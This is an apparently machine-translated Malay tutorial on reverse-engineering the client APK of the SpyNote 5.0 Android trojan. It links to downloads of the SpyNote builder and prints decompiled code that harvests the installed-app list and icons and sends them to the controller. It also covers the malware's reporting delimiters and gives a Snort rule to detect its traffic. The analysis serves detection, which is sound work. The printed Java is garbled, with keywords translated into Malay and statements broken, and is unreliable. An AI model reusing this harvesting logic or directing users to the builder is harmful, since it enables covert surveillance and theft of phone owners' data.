Rumah > Artikel > Operasi dan penyelenggaraan > Cara melakukan analisis terbalik SpyNote5.0 Client_APK
1. Apakah itu SpyNote5.0?
SpyNote ialah alat yang digunakan untuk mencipta program hasad Android. Fungsinya sangat menarik perhatian, termasuk tetapi tidak terhad kepada membaca kenalan, merakam, melaksanakan arahan, mengurus aplikasi, merakam papan kekunci, melakukan penentududukan GPS, dsb. Ciri ini memainkan peranan penting semasa menyelidik perisian hasad Android. Kita boleh mempunyai pemahaman awal tentang penggunaannya melalui satu siri artikel, "SpyNote V5.0 alat grafik pengurusan jauh tutorial telefon Android", "Berhati-hati, alat Android Trojan SpyNote adalah percuma!" Pemantauan jauh sangat mudah", "Berhati-hati, alat kawalan jauh Android (spynote) telah dinaik taraf..." dan sebagainya.
2. Sediakan alatan
Beberapa orang berminat dengan analisis terbalik SpyNote5.0 Client_APK Di bawah saya akan memperkenalkan secara ringkas penggunaan alatan, dan kemudian memulakan proses analisis terbalik.
1. SpyNote5.0
Alamat muat turun: https://github.com/soDLL/SpyNote ATAU https://github.com/miladzero/SpyNote
2. jadx-gui
Alamat muat turun: https://github.com/skylot/jadx/releases
3. androidkiller
Alamat muat turun: https://www.guguzhu.com/soft/270509.html
3
Kami mula menganalisis Client_APK Kami biasanya suka menyeret program APK yang dijana oleh klien ke dalam androidkiller. Setelah program diseret ke dalam AndroidKiller, ia akan membuka dan menjana hasil analisis program secara automatik. Di sebelah kiri, keizinan Aktiviti, Penerima, Perkhidmatan dan aplikasi (Uses-Permisson) diklasifikasikan mengikut perhubungan warisan Anda dapat melihat bahawa pelanggan memerlukan banyak kebenaran aplikasi . Di sebelah kanan ialah tetingkap pemasangan smail dan meja kerja. Alat ini boleh memaparkan kebenaran dan pelbagai perhubungan warisan dengan jelas, tetapi disebabkan versi alat yang lebih rendah, pemulihan kod tidak cukup lengkap. Saya menukar alat dan menggunakan jadx-gui, dan kemudian memulakan kejuruteraan terbalik dan mengimport Client_APK. Kita boleh lihat tiga pakej iaitu android.support, con.eset.ems2.gp, yps.eton.application. Antaranya, android.support ialah pakej sokongan Android, yang merangkumi versi rendah, v4 dan v7 con.eset.ems2.gp ialah pakej konfigurasi yang mengandungi hos, nama_klien dan maklumat lain perlu menganalisis. Buka aplikasi yps.eton., kita boleh melihat 14 kelas Memandangkan terdapat banyak kod yang perlu dianalisis, beberapa kod utama dianalisis mengikut cara yang disasarkan. Ia boleh dilihat daripada struktur analisis androidkiller sebelumnya bahawa kelas penulisan A, F, G dan k mewarisi Perkhidmatan dan Perkhidmatan mewakili latar belakang yang berjalan secara berterusan dalam Android sistem. Mari kita teka, apakah yang mungkin diperlukan untuk terus berjalan dalam Client_APK? Mungkin objek utama akan terus berjalan, dikawal, dipantau, berbilang benang, dsb. Analisis kami memfokuskan pada beberapa fungsinya dan cara mengenal pasti trafik. 3.1 Analisis permulaan pelaksanaan perintah Kita mulakan dengan kaedah A, mula-mula mulakan perkhidmatan, kemudian lintasi objek R dan dapatkan elemen ketiga, jika ia sama dengan 1, laksanakan j( ) fungsi. Jika tidak, mulakan perkhidmatan selepas menentukan sama ada a() telah digunakan. Ia kemudiannya akan terus menentukan sama ada j() mempunyai keizinan root. Teruskan lihat pada j(). . Untuk Tentukan sama ada ia mempunyai kebenaran root. Seterusnya, lihat h(), yang menggunakan multi-threading untuk mendapatkan parameter konfigurasi yang disimpan dalam objek R dan menggunakan gelung dan soket untuk mengembalikan maklumat. 3.2 Analisis fungsi separa aplikasi pengekodan Base64 Apabila melihat senarai import objek A, didapati ia mengandungi android.util.Base64 , menunjukkan bahawa semasa operasi pengekodan Base64 digunakan. Kemudian cari kata kunci Base64, dan anda boleh melihat bahawa Base64 dibungkus dalam ((BitmapDrawable) applicationIcon).getBitmap(), yang sebenarnya adalah ikon aplikasi di dalamnya. Pelanggan menghantar beberapa maklumat melalui segmentasi c0c1c3a2c0c1c yang berakhir dengan 9xf89fff9xf89 dan menggunakan fxf0x4x4x0fxf untuk maklumat dan pilihan pengecualian.<br>
<br>
public void k() { new Thread(new Runnable() { public void run() { String str; Buffer stringBuffer = new StringBuffer(); PackageManager packageManager = A.this.getApplicationContext().getPackageManager( ); untuk (ApplicationInfo applicationInfo : packageManager.getInstalledApplications(128)) { if (packageManager.getLaunchIntentForPackage !.getLaunchIntentForPackage !. Package(applicationInfo.packageName).equals("")) { cuba { Tarikh tarikh = new Date(packageManager.getPackageInfo(applicationInfo.packageName, 4096).firstInstallTime); String str2 = packageManager.getLaunchIntentForPakej ? ) == 1 ? "sistem" : "pengguna " : ""; Drawable applicationIcon = packageManager.getApplicationIcon(applicationInfo.packageName); String str3 = new String(); if (applicationIcon != null) { Bitmap bitmap = ((BitmapDrawable) applicationIcon).getBitmap(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); bitmap.compress(CompressFormat.JPEG, 50, byteArrayOutputStream); str = Base64.encodeToString(byteArrayOutputStream.toByteArray(), 2); } lain { str = str3; }. 2 + "c0c1c3a2c0c1c" + date.toString() + "c0c1c3a2c0c1c" + A.this. getPackageName() + "9xf89fff9xf89"); } tangkap (NameNotFoundException e) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e.getMessage().toString()); } } } A.this.h("applicationsfxf0x4x4x0fxf" + string Buffer));.to } tangkapan (Pengecualian e2) { A.this.h("applicationsfxf0x4x4x0fxf[My/Exception]" + e2.getMessage().toString()); } } }).mula(); }
3.3 信息获取部分功能分析
Objek A mengandungi kaedah b yang sangat panjang, yang menggunakan terlalu banyak cawangan pernyataan kes suis, menyebabkan pengecualian dalam pembongkaran. Tidak sukar untuk melihat dari ulasan bahawa kebanyakan logik untuk mendapatkan maklumat dilaksanakan di dalamnya. Contohnya: Maklumat peranti, Maklumat sistem, maklumat Sim, maklumat WIFI, dsb., termasuk fungsi yang dipromosikan oleh alat tersebut.
Terdapat beberapa perkara yang perlu diberi perhatian dalam penulisan semula kaedah b, yang digunakan untuk mendapatkan laluan storan. Pembatas maklumat laluan penghantaran menggunakan e1x1114x61114e. Pemisah maklumat nama fail menggunakan -1c0c1c3a2c0c1c-1c0c1c3a2c0c1c-1c0c1c3a2c0c1c. Maklumat ini boleh digunakan untuk menentukan operasi pelanggan dengan lebih tepat semasa penghantaran.
4. Ringkasan
Pelaksanaan setiap fungsi boleh dilihat semasa proses analisis. Apabila pelanggan menggunakan penghantaran yang tidak disulitkan dan dikodkan Base, ciri yang paling ketara ialah penampilan pembatas. Tingkah laku penghantaran pelanggan boleh dinilai dengan berkesan melalui program. Jadi paket ditangkap semasa proses penghantaran.
Simbol pembatas dan kandungan pengekodan base64 kelihatan jelas dalam gambar. Untuk perkara ini, kita boleh menulis peraturan dalam Snort untuk pengenalan Contoh pengenalan:
maklumkan tcp sebarang -> sebarang (kandungan: "fxf0x4x4x0fxf"; sid:1; msg:SpyNote5.0 Client; )
Atas ialah kandungan terperinci Cara melakukan analisis terbalik SpyNote5.0 Client_APK. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!